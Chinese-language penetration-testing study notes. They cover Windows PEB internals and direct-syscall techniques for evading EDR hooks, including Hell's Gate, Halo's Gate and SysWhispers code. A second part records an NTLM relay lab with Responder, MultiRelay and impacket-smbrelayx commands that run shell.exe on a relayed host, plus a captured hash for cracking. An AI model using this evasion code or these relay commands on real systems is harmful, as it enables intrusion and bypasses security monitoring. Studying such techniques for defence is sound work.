分类 内网渗透 下的文章

  • PEB 结构


    进程环境信息块是一个内核分配给每个进程的用户模式结构,每个进程都会有从 ring0 分配给该进程的进程环境快,后续主要了解 __PEB_LDR_DATA 以及其他子结构。
    typedef struct _PEB_LDR_DATA {
      BYTE       Reserved1[8];
      PVOID      Reserved2[3];
      LIST_ENTRY InMemoryOrderModuleList;
    } PEB_LDR_DATA, *PPEB_LDR_DATA;
    

    image-20221023173226041
    这个图中 FS 段寄存器指向当前的 TEB 结构,PEB 在 TEB 的 0x30 偏移处。这里单独把 PEB 结构拿出来看:
    typedef struct _PEB {
        BOOLEAN InheritedAddressSpace;
        BOOLEAN ReadImageFileExecOptions;
        BOOLEAN BeingDebugged;
        BOOLEAN Spare;
        HANDLE Mutant;
        PVOID ImageBase;
        PPEB_LDR_DATA LoaderData;   // 0x0C offset,指向 PEB_LDR_DATA 结构
        PVOID ProcessParameters;
        PVOID SubSystemData;
        PVOID ProcessHeap;
        PVOID FastPebLock;
        PVOID FastPebLockRoutine;
        PVOID FastPebUnlockRoutine;
        ULONG EnvironmentUpdateCount;
        PVOID* KernelCallbackTable;
        PVOID EventLogSection;
        PVOID EventLog;
        PVOID FreeList;
        ULONG TlsExpansionCounter;
        PVOID TlsBitmap;
        ULONG TlsBitmapBits[0x2];
        PVOID ReadOnlySharedMemoryBase;
        PVOID ReadOnlySharedMemoryHeap;
        PVOID* ReadOnlyStaticServerData;
        PVOID AnsiCodePageData;
        PVOID OemCodePageData;
        PVOID UnicodeCaseTableData;
        ULONG NumberOfProcessors;
        ULONG NtGlobalFlag;
        BYTE Spare2[0x4];
        LARGE_INTEGER CriticalSectionTimeout;
        ULONG HeapSegmentReserve;
        ULONG HeapSegmentCommit;
        ULONG HeapDeCommitTotalFreeThreshold;
        ULONG HeapDeCommitFreeBlockThreshold;
        ULONG NumberOfHeaps;
        ULONG MaximumNumberOfHeaps;
        PVOID** ProcessHeaps;
        PVOID GdiSharedHandleTable;
        PVOID ProcessStarterHelper;
        PVOID GdiDCAttributeList;
        PVOID LoaderLock;
        ULONG OSMajorVersion;
        ULONG OSMinorVersion;
        ULONG OSBuildNumber;
        ULONG OSPlatformId;
        ULONG ImageSubSystem;
        ULONG ImageSubSystemMajorVersion;
        ULONG ImageSubSystemMinorVersion;
        ULONG GdiHandleBuffer[0x22];
        ULONG PostProcessInitRoutine;
        ULONG TlsExpansionBitmap;
        BYTE TlsExpansionBitmapBits[0x80];
        ULONG SessionId;
    } PEB, * PPEB;
    

    在 0x0c 偏移处执行的 PEB_LDR_DATA 结构包含了有关进程加载的模块的信息,在 PEB_LDR_DATA 中包含了三个双向链表,分别代表模块加载顺序,模块在内存中的加载循序以及模块初始化装载的顺序。
    typedef struct _PEB_LDR_DATA {
        ULONG Length;
        ULONG Initialized;
        PVOID SsHandle;
        LIST_ENTRY InLoadOrderModuleList;
        LIST_ENTRY InMemoryOrderModuleList;
        LIST_ENTRY InInitializationOrderModuleList;
    } PEB_LDR_DATA, * PPEB_LDR_DATA;
    

    其中双向链表的定义如下:
    typedef struct _LIST_ENTRY {
       struct _LIST_ENTRY *Flink;
       struct _LIST_ENTRY *Blink;
    } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
    

    每个双向链表都指向进程装载的模块,结构中的每个指针指向了一个 LDR_DATA_TABLE_ENTRY 结构。
    struct _LDR_DATA_TABLE_ENTRY
    {
        struct _LIST_ENTRY InLoadOrderLinks;                                    //0x0
        struct _LIST_ENTRY InMemoryOrderLinks;                                  //0x8
        struct _LIST_ENTRY InInitializationOrderLinks;                          //0x10
        VOID* DllBase;                                                          //0x18 模块基址
        VOID* EntryPoint;                                                       //0x1c
        ULONG SizeOfImage;                                                      //0x20
        struct _UNICODE_STRING FullDllName;                                     //0x24 模块路径+名称
        struct _UNICODE_STRING BaseDllName;                                     //0x2c 模块名称
    ...
    };
    

    关于如何检索,微软提供了相关的 api:

    image-20221023182933098
  • R3 与 R0 通信


    调用 API 的过程实际上是调用某个 DLL 库,而这个 DLL 会调用在 ntdll.dll 中的 Native API 函数。例如当 kernel32.dll 中的 API 通过 ntdll.dll 执行时,会完成参数的检查工作,再通过中断调用内核态的 Nt* 系列函数。
    ntdll.dll 中的 Native API 函数时成对出现的,分别以 Nt 和 Zw 开头,它们本质上是一样的只是名字不同。使用 Zw* 系列的 API 可以避免额外的参数列表检查,提高效率。
    

    image-20221023192013427
    调用方式,xx 就是系统调用号,根据这个找到对应的处理函数。
    mov     r10,rcx
    mov     eax,xxh
    syscall
    

    image-20221023224946128
    分析一下 windows API 调用过程:
    #include <Windows.h>
    
    VOID WINAPI Thread(LPVOID lpParam)
    {
        MessageBoxW(0, 0, 0, 0);
    }
    
    int main() {
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Thread, 0, 0, 0);
        return 0;
    }
    

    image-20221023223845019
    从实验中可以看到 CreateThread 在进入内核前调用 ntdll.dll 中 NtCreateThreadex 函数,那么可以尝试直接调用这个函数来进行线程的创建,这个思路在之前的线程注入中用到过。但如果杀软对用户层下层(ntdll.dll) 也进行了监控(比如 inline hook)就不太行了。
  • syscall 免杀


    使用前提:
    不用 GetModuleHandle 找到 ntdll 的基址
    解析 DLL 的导出表
    查找 syscall number
    执行 syscall
    

    在 win10 中,除了 minimal 和 pico 进程外,所有用户态的进程默认情况下都隐式链接到 ntdll.dll,一般情况下 ntdll.dll 在内存中的第二个模块,kernel32.dll 在三个模块,然而有些杀软会改变内存中的模块顺序列表,因此我们需要先确定指向的内存模块是 ntdll.dll。
    在 R3 创建进程的时候,EDR 会 hook 用户层的相关 windows API 调用,从而完成对进程动态行为进行监控。在用户层的 hook 较于内核态的 hook 比较稳定,所以很多 EDR 会选择在用户层 hook,同时在内核层使用回调函数监控重要 api 调用。
    为了避免用户层被 EDR hook 的敏感函数检测到敏感行为,可以利用从 ntdll 中读取到的系统调用号直接进行系统调用,主要应对 EDR 在 R3 上的 hook。
    • 地狱之门(Hell's Gate)


      原理:通过直接读取进程的第二个导入模块(ntdll)解析其结构然后便利导出表,根据函数名 Hash 找到函数地址,将这个函数读取出来通过 0xb8 操作码动态获取对应的系统调用号,从而绕过内存监控。
      相当于对传统的 LoadLibrary + GetProcAddress 进行了更底层的重写。
      首先定义一个与 syscall 相关联的数据结构:_VX_TABLE_ENTRY 实际上每一个系统调用都需要分配这样的结构:
      typedef struct _VX_TABLE_ENTRY {
       PVOID pAddress;    // 指向内存模块的函数地址指针
       DWORD64 dwHash;    // 函数 hash,后续用于查找内存模块的函数
       WORD wSystemCall;  // 系统调用号
      } VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
      

      同时定义了更大的数据结构 _VX_TABLE 用于包含每一个系统调用的函数:
      typedef struct _VX_TABLE {
       VX_TABLE_ENTRY NtAllocateVirtualMemory;
       VX_TABLE_ENTRY NtProtectVirtualMemory;
       VX_TABLE_ENTRY NtCreateThreadEx;
       VX_TABLE_ENTRY NtWaitForSingleObject;
      } VX_TABLE, * PVX_TABLE;
      

      下面需要通过 PEB 的相关结构来动态获取系统调用号和函数地址来填充刚刚定义的数据结构,以便于实现自己的系统调用,这里通过 TIB(线程信息块)获取 TEB 再获取 TEB 的数据结构。
      # 在 Windows x64 中,TEB的寄存器换做了 GS 寄存器,使用[GS:0x30]访问
      NtCurrentTeb();
      // x86
      __readfsqword(0x18);
      // x64
      __readgsqword(0x30);
      

      在上文中也提到过,通过 __readgsword 或 __readfsword 获取 PEB。
      PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
      PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
      if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) {
       return 0x1;
      }
      PTEB RtlGetThreadEnvironmentBlock() {
      #if _WIN64
       return (PTEB)__readgsqword(0x30);
      #else
       return (PTEB)__readfsdword(0x16);
      #endif
      }
      # 最后还通过 PEB 的成员 OSMajorVersion 判断操作系统是否是Windows 10
      

      之后的操作就是遍历 PE 的导出函数,解析 PE 头然后找到 EAT。
      // Get NTDLL module 
      PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
      
      // Get the EAT of NTDLL
      PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
      if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
          return 0x01;
      

      成功获取 EAT 指针后现在需要填充之前定义的 _VX_TABLE,
      VX_TABLE Table = { 0 };
      Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
      GetVxTableEntry(ImageBase, ExportTable, &Table.NtAllocateVirtualMemory);
      
      Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
      GetVxTableEntry(ImageBase, ExportTable, &Table.NtCreateThreadEx);
      Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
      GetVxTableEntry(ImageBase, ExportTable, &Table.NtProtectVirtualMemory);
      
      Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
      GetVxTableEntry(ImageBase, ExportTable, &Table.NtWaitForSingleObject);
      

      源代码中实现了 Ntdll 中的四个函数,因此需要知道这四个函数的 Hash 以及 _VX_TABLE_ENTRY 结构体,这部分逻辑在 GetVxTableEntry 中实现:
      BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY ExporTable, PVX_TABLE_ENTRY pVxTableEntry)
      {
          PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + ExporTable-> AddressOfFunctions);
          PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + ExporTable->AddressOfNames);
          PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + ExporTable -> AddressOfNameOrdinals);
          // 遍历导出表的函数
          for (WORD cx = 0; cx < ExporTable->NumberOfNames; cx++)
          {
              PCHAR  pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
              PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
              // 比较 hash
              if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) 
              {
                  printf("[+]Function:%s Matched\n", pczFunctionName);
                  pVxTableEntry->pAddress = pFunctionAddress;
                  // 定位mov eax的操作码
                  if (*((PBYTE)pFunctionAddress + 3) == 0xb8) 
                  {
                      // 
                      BYTE high = *((PBYTE)pFunctionAddress + 5);
                      BYTE low = *((PBYTE)pFunctionAddress + 4);
                      // 系统调用号是 WORD 类型,两字节并且小端序
                      pVxTableEntry->wSystemCall = (high << 8) | low;
                      break;
                  }
              }
          }
      }
      

      最后通过一段宏汇编代码(MASM)来定义执行通过系统调用号调用 NT 函数的函数:
       wSystemCall DWORD 0h
      .code
       HellsGate PROC // 设置 Nt 函数的系统调用号
       mov wSystemCall, 0h
       mov wSystemCall, ecx
       ret
       HellsGate ENDP
       HellDescent PROC   // 模拟 Nt 函数的汇编
       mov r10, rcx
       mov eax, wSystemCall
       syscall
       ret
       HellDescent ENDP
      end
      

      定义的第一个函数 HellsGate 用来设置对应 Nt 函数的系统调用号,第二个函数 HellDescent 直接模拟系统调用来调用对应函数(和 ZwSetInformationFile 的汇编指令是一样的)。
      因此现在想要调用 Nt 函数的时候,利用之前得到的 EAT 对之前定义的数据结构进行填充:
      VX_TABLE Table = { 0 };
          Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
          if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtAllocateVirtualMemory))
          {
              printf("[-]GetVxTableEntry Failed!\n");
              return -1;
          }
          Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
          if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtCreateThreadEx))
          {
              printf("[-]GetVxTableEntry Failed!\n");
              return -1;
          }
          Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
          if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtProtectVirtualMemory))
          {
              printf("[-]GetVxTableEntry Failed!\n");
              return -1;
          }
          Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
          if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtWaitForSingleObject))
          {
              printf("[-]GetVxTableEntry Failed!\n");
              return -1;
          }
      

      到现在为止,我们想调用的 Nt 函数都有了唯一的 VT_TABLE_ENTRY,包含调用号、地址指针和 hash。然后用调用汇编的方式进行调用:
      image-20221024052337732
    • 光环之门(Halo's Gate)


      地狱之门的局限在于内存中的 ntdll 必须是默认你的,如果 ntdll 已经被修改过或者被 hook 过(汇编操作码不是 0xb8),那么就无法动态获取它的系统调用号。
      原理:EDR 不会 hook 所有的 Nt 函数,总会有不敏感的函数没有被 HOOK,因此在程序当中以 STUB_SIZE(长度 32)上下循环遍历,找到没有被 HOOK 的 STUB 后获取系统调用号再减去移动的步数,就是所要搜索的系统调用号。
      对应查找操作的汇编实现:
      halosGateUp PROC
          xor rsi, rsi
          xor rdi, rdi 
          mov rsi, 00B8D18B4Ch   ; bytes at start of NTDLL stub to setup syscall in RAX
          xor rax, rax
          mov al, 20h            ; 32 * Increment = Syscall Up
          mul dx                 ; RAX = RAX * RDX = 32 * Syscall Up
          add rcx, rax           ; RCX = NTDLL.API +- Syscall Stub
          mov edi, [rcx]         ; RDI = first 4 bytes of NTDLL API syscall stub, incremented Up by HalosGate (mov r10, rcx; mov eax, <syscall#>)
          cmp rsi, rdi
          jne error              ; if the bytes dont match then its prob hooked. Exit gracefully
          xor rax,rax            ; clear RAX as it will hold the syscall
          mov ax, [rcx+4]        ; The systemcall number for the API close to the target
          ret                    ; return to caller
      halosGateUp ENDP
      
    • TartarusGate


      对光环之门的加强,只检测第一个字节和第四个字节是否是 0xe9 来判断函数是否被 hook。
    • 欺骗之门(Spoofing-Gate)


      当使用 Hate's Gate / Hell's Gate 获取到 sysid 后,从 ntdll 中随机选择未用到的 Nt Api,替换其 sysid 为获取到的 sysid 即可直接 call。内置的 Nt api list 排除了 EDRs 项目中被 hook 的 api 和部分可能影响正常执行的 api,返回的结构体实现了 Recover 函数用于复原 sysid。
      但这个方法的缺点就是必须修改 ntdll,通常用 NtProtect+memcpy / WriteProcessMemory。
    • ParallelSyscalls


      使用 syscall 从磁盘中读取 ntdll,最后利用 LdrpThunkSignature 回复系统调用。同时实现了 dll 的并行加载,过程中运行进程递归映射通过进程模块导入表导入 dll 的过程。
      LdrpThunkSignature 调用实现:
      BOOL InitSyscallsFromLdrpThunkSignature()
      {
          PPEB Peb = (PPEB)__readgsqword(0x60);
          PPEB_LDR_DATA Ldr = Peb->Ldr;
          PLDR_DATA_TABLE_ENTRY NtdllLdrEntry = NULL;
      
          for (PLDR_DATA_TABLE_ENTRY LdrEntry = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;
              LdrEntry->DllBase != NULL;
              LdrEntry = (PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink)
          {
              if (_wcsnicmp(LdrEntry->BaseDllName.Buffer, L"ntdll.dll", 9) == 0)
              {
                  // got ntdll
                  NtdllLdrEntry = LdrEntry;
                  break;
              }
          }
      
          if (NtdllLdrEntry == NULL)
          {
              return FALSE;
          }
      
          PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)NtdllLdrEntry->DllBase + ((PIMAGE_DOS_HEADER)NtdllLdrEntry->DllBase)->e_lfanew);
          PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader);
      
          ULONG_PTR DataSectionAddress = NULL;
          DWORD DataSectionSize;
      
          for (WORD i = 0; i < ImageNtHeaders->FileHeader.NumberOfSections; i++)
          {
              if (!strcmp((char*)SectionHeader[i].Name, ".data"))
              {
                  DataSectionAddress = (ULONG_PTR)NtdllLdrEntry->DllBase + SectionHeader[i].VirtualAddress;
                  DataSectionSize = SectionHeader[i].Misc.VirtualSize;
                  break;
              }
          }
      
          DWORD dwSyscallNo_NtOpenFile = 0, dwSyscallNo_NtCreateSection = 0, dwSyscallNo_NtMapViewOfSection = 0;
      
          if (!DataSectionAddress || DataSectionSize < 16 * 5)
          {
              return FALSE;
          }
      
          for (UINT uiOffset = 0; uiOffset < DataSectionSize - (16 * 5); uiOffset++)
          {
              if (*(DWORD*)(DataSectionAddress + uiOffset) == 0xb8d18b4c &&
                  *(DWORD*)(DataSectionAddress + uiOffset + 16) == 0xb8d18b4c &&
                  *(DWORD*)(DataSectionAddress + uiOffset + 32) == 0xb8d18b4c &&
                  *(DWORD*)(DataSectionAddress + uiOffset + 48) == 0xb8d18b4c &&
                  *(DWORD*)(DataSectionAddress + uiOffset + 64) == 0xb8d18b4c)
              {
                  dwSyscallNo_NtOpenFile = *(DWORD*)(DataSectionAddress + uiOffset + 4);
                  dwSyscallNo_NtCreateSection = *(DWORD*)(DataSectionAddress + uiOffset + 16 + 4);
                  dwSyscallNo_NtMapViewOfSection = *(DWORD*)(DataSectionAddress + uiOffset + 64 + 4);
                  break;
              }
          }
      
          if (!dwSyscallNo_NtOpenFile)
          {
              return FALSE;
          }
      
          ULONG_PTR SyscallRegion = (ULONG_PTR)VirtualAlloc(NULL, 3 * MAX_SYSCALL_STUB_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      
          if (!SyscallRegion)
          {
              return FALSE;
          }
      
          NtOpenFile = (FUNC_NTOPENFILE)BuildSyscallStub(SyscallRegion, dwSyscallNo_NtOpenFile);
          NtCreateSection = (FUNC_NTCREATESECTION)BuildSyscallStub(SyscallRegion + MAX_SYSCALL_STUB_SIZE, dwSyscallNo_NtCreateSection);
          NtMapViewOfSection = (FUNC_NTMAPVIEWOFSECTION)BuildSyscallStub(SyscallRegion + (2* MAX_SYSCALL_STUB_SIZE), dwSyscallNo_NtMapViewOfSection);
      
          return TRUE;
      }
      
    • GetSSN


      另一种发现 syscall number 的方法而且不需要 unhook、不需要从代码存根中读取,也不需要加载 NTDLL 副本。这种方式可用的前提是:
      1.实际上所有的Zw函数和Nt同名函数实际上是等价的
      2.系统调用号实际上是和Zw函数按照地址顺序的排列是一样的
      

      因此我们就只需要遍历所有的 Zw 函数,记录其函数名和函数地址,最后将其按照函数地址升序排列后,每个函数的 SSN 就是其对应的排序顺序。
      int GetSSN()
      {
          std::map<int, string> Nt_Table;
          PBYTE ImageBase;
          PIMAGE_DOS_HEADER Dos = NULL;
          PIMAGE_NT_HEADERS Nt = NULL;
          PIMAGE_FILE_HEADER File = NULL;
          PIMAGE_OPTIONAL_HEADER Optional = NULL;
          PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
      
          PPEB Peb = (PPEB)__readgsqword(0x60);
          PLDR_MODULE pLoadModule;
          // NTDLL
          pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
          ImageBase = (PBYTE)pLoadModule->BaseAddress;
      
          Dos = (PIMAGE_DOS_HEADER)ImageBase;
          if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
              return 1;
          Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
          File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
          Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
          ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
      
          PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
          PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
          PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
          for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
          {
              PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
              PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
              if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
                 printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
                  Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
              }
          }
          int index = 0;
          for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
              cout << "index:" << index  << ' ' << iter->second << endl;
              index += 1;
          }
      }
      
    • SysWhispers2 / 3


      仅获取 syscall number,进入 R3 自己实现函数调用过程。具体实现是用 SW2_PopulateSyscallList,先解析 ntdll 中的 EAT,定位 Zw 开头的函数,最后按地址从小到大进行排序。
      在 3 中出现了新的 EGG 手法,先用垃圾指令代替 syscall,在运行时再从内存中找出来替换 syscall。
      这里的 egg hunt 使用 "DB" 来定义一个字节的汇编指令。
      NtAllocateVirtualMemory PROC
        mov [rsp +8], rcx          ; Save registers.
        mov [rsp+16], rdx
        mov [rsp+24], r8
        mov [rsp+32], r9
        sub rsp, 28h
        mov ecx, 003970B07h        ; Load function hash into ECX.
        call SW2_GetSyscallNumber  ; Resolve function hash into syscall number.
        add rsp, 28h
        mov rcx, [rsp +8]          ; Restore registers.
        mov rdx, [rsp+16]
        mov r8, [rsp+24]
        mov r9, [rsp+32]
        mov r10, rcx
        DB 77h                     ; "w"
        DB 0h                      ; "0"
        DB 0h                      ; "0"
        DB 74h                     ; "t"
        DB 77h                     ; "w"
        DB 0h                      ; "0"
        DB 0h                      ; "0"
        DB 74h                     ; "t"
        ret
      NtAllocateVirtualMemory ENDP
      

      但实际上用这种方式会报错,因为只是提供了 syscall 的调用和返回的堆栈,但是没有释放。后面用了 FindAndReplace 函数进行替换:
      void FindAndReplace(unsigned char egg[], unsigned char replace[])
      {
      
          ULONG64 startAddress = 0;
          ULONG64 size = 0;
      
          GetMainModuleInformation(&startAddress, &size);
      
          if (size <= 0) {
              printf("[-] Error detecting main module size");
              exit(1);
          }
      
          ULONG64 currentOffset = 0;
      
          unsigned char* current = (unsigned char*)malloc(8*sizeof(unsigned char*));
          size_t nBytesRead;
      
          printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);
      
          while (currentOffset < size - 8)
          {
              currentOffset++;
              LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);
              if(DEBUG > 0){
                  printf("Searching at 0x%llu\n", (ULONG64)currentAddress);
              }
              if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
                  printf("[-] Error reading from memory\n");
                  exit(1);
              }
              if (nBytesRead != 8) {
                  printf("[-] Error reading from memory\n");
                  continue;
              }
      
              if(DEBUG > 0){
                  for (int i = 0; i < nBytesRead; i++){
                      printf("%02x ", current[i]);
                  }
                  printf("\n");
              }
      
              if (memcmp(egg, current, 8) == 0)
              {
                  printf("Found at %llu\n", (ULONG64)currentAddress);
                  WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
              }
      
          }
          printf("Ended search at:   0x%llu\n", (ULONG64)startAddress + currentOffset);
          free(current);
      }
      

      使用方式:
      int main(int argc, char** argv) {
      
          unsigned char egg[] = { 0x77, 0x00, 0x00, 0x74, 0x77, 0x00, 0x00, 0x74 }; 
          // w00tw00t
          unsigned char replace[] = { 0x0f, 0x05, 0x90, 0x90, 0xC3, 0x90, 0xCC, 0xCC }; 
          // syscall; nop; nop; ret; nop; int3; int3
      
          //####SELF_TAMPERING####
          (egg, replace);
      
          Inject();
          return 0;
      }
      

      但是 EDR 不仅会检测 syscall 的字符,还会检测 syscall 执行特定指令的位置。也就是说本来 syscall 是要从 ntdll 中执行的,但我们的方式会直接在程序的主模块中执行。
      image-20221024081651133
      image-20221024081655871
      RIP 指向的不同为 EDR 提供了特征。针对于这种检测,可以在运行时候从内存中动态找出替换 syscall。
      首先添加一个 ULONG64 字段来存储 syscall 指令绝对地址,当 __SW2_SYSCALL_LIST 被填充时,计算 syscall 指令的地址。在这种情况下,已经有了 ntdll.dll 基地址,SysWhispers 从 DLL EAT 中计算 RVA,最后就可以 jmp syscall<address>,所以只需要计算 syscall 指令的相对位置即可。
      function findOffset(HANDLE current_process, int64 start_address, int64 dllSize) -> int64:
        int64 offset = 0
        bytes signature = "\x0f\x05\x03"
        bytes currentbytes = ""
        while currentbytes != signature:
          offset++
          if offset + 3 > dllSize:
            return INFINITE
          ReadProcessMemory(current_process, start_address + offset, &currentbytes, 3, nullptr)
        return start_address + offset 
      

       
  • 参考文献


前面的 NTLM 协议学习记录中提到过几种攻击方式,但毕竟是偏向笔记的水文,这里重新实验并思考。

  • 利用前提


    发送 NTLM 请求的情景:NTLM 是一种嵌套协议,SMB,HTTP,LDAP,MSSQL 等协议都可以携带 NTLM 认证的三类消息,也就说通过以上协议进行 NTLM 认证的程序都会发送 Net-NTLMhash,而这个 Net-NTLMhash 也可以被攻击者截取。
    目标机器的 SMB 签名关闭

    在 SMB 连接中,需要通过 SMB 签名和加密来保护服务器和客户端之间传输数据的完整性,如果关闭 SMB 签名,攻击者就可以拦截认证过程,并将获得的 hash 在其它机器上重放,从而获得权限。
    一般情况下,域内默认仅在域控制器上启用,域成员机器没有启用。
    攻击之前先做一下信息收集,工具地址:https://github.com/lgandx/Responder
    image-20220430112109698
    其中 10.0.10.1 是主机,10.0.10.110 是域控,只有域控开启了签名
    截取到的用户 RID 为 500

    与补丁 kb2871997(哈希传递) 有关,RID 500 的账户和本地管理员成员的域账户是过了 UAC 的,不满足这个条件即使拿到了高权限也没法过 UAC。
  • 关于签名


    当认证完毕后,客户端和服务端都知道一个 key 用于对后续的操作进行解密,这里获取这个 key 存在一个密钥协商的过程。
    exported_session_key 是客户端生成的 16 位随机数,客户端用这个 key 进行加密和解密。key_exchange_key 是使用用户密码,经过一定运算后得到的。密钥协商过程如下。最后加密使用的是 encrypted_random_session_key:
    image-20220430161316116
  • SMB 欺骗


    远程链接计算机访问共享资源的方式:
    共享计算机地址\共IP享资源路径
    共享计算机名\共享资源路径
    

    首先要发起一个 NTLM 请求, net use 一个不存在的路径,然后进行 windows 系统名称解析,顺序为:
    本地hosts文件(%windir%\System32\drivers\etc\hosts)
    DNS缓存/DNS服务器
    链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
    

    路径不存在,会通过 LLMNR 和 NBT-NS 进行名称解析,加ing未经认证的 UDP 广播到网络中,询问这个名称
    image-20220430112509704
    此时攻击机开启 responder 的监听,就可以截取这个 hash,使用的协议是 NTLMV2,可以尝试暴力破解。(对于 V1 的破解可参考:https://www.anquanke.com/post/id/194069)
     sudo responder -I eth0
    

    image-20220430112527657
    hashcat -m 5600 Administrator::VULNTARGET:1122334455667788:8E40968E9E1648DF620E9D67067B36AD:010100000000000080D6BD2B205CD8019C850A7FD433C1710000000002000800380043005100320001001E00570049004E002D004200460048004300490038004500360049004F00330004003400570049004E002D004200460048004300490038004500360049004F0033002E0038004300510032002E004C004F00430041004C000300140038004300510032002E004C004F00430041004C000500140038004300510032002E004C004F00430041004C000700080080D6BD2B205CD801060004000200000008003000300000000000000000000000003000006525BD0F48330D5D08F941E7A1CF0353F6813FD55C9026B9610D45D540489F9B0A001000000000000000000000000000000000000900120063006900660073002F006100610061006100000000000000000000000000 old-passwords.txt -o found.txt --force
    

    image-20220430125150459
  • 域中的中继


    工作组中只能中继 rid 500 的 administrator 账户,成功的条件是被欺骗机器的 administrator 密码和被攻击主机的 administrator 密码相同。
    在域中因为存在域用户,限制就小了很多。这里在 win7(10.0.10.10)中登录了域管账号,尝试用 MultiRelay 进行中继攻击。
    一个终端使用 Responder 监听,另一个终端运行 MultiRelay
    sudo python3 MultiRelay.py -t <被攻击ip> -u ALL
    

    image-20220430113145738
    在 win7 上用域管账号触发 ntlm 请求后,直接转发到 10.0.10.111 上登录,拿到 system 权限。
    现在要确定的是不同权限用户是否可以实现中继攻击,首先添加两个普通的域用户 testa 和 testb,在 testa 登录的主机上创建一个共享文件夹。此时 testb 可以直接访问到这个文件夹。
    image-20220430122109792
    在域中的 NTLM 认证数据会从域控那里获取,且这里访问共享也是从域数据库中查找,也就是说域内普通用户相互访问不需要密码认证。
    但此时在用 testb 中继攻击 testa 还是失败,就是前面提到的权限问题。
    image-20220430122742769
    如果将 testb 加入到本地管理员组中,再进行测试(xs,本地管理员组怎么可能登上别的机器,除非密码一样)
    net localgroup Administrators testb /add
    

    image-20220430123329226
    image-20220430123543397
    伪造 SMB 服务器

    让 10.0.10.10(登录域管账户)取访问攻击机,攻击机将流量转发到受害机(10.0.10.111)
    impacket-smbrelayx -h 10.0.10.111 -c whoami
    

    image-20220430130559531
    还可以直接上线?
    impacket-smbrelayx -h <被攻击ip> -e shell.exe
    

    CVE-2015-0005

    结合前面提到的签名过程中,由于攻击者没有用户的 hash(也就是没有 key_exchange_key),虽然能在流量中获取 encrypted_random_session_key,但也没法算出 exported_session_key,没法对流量进行签名。
    而这个 CVE 就是泄露了 key_exchange_key。
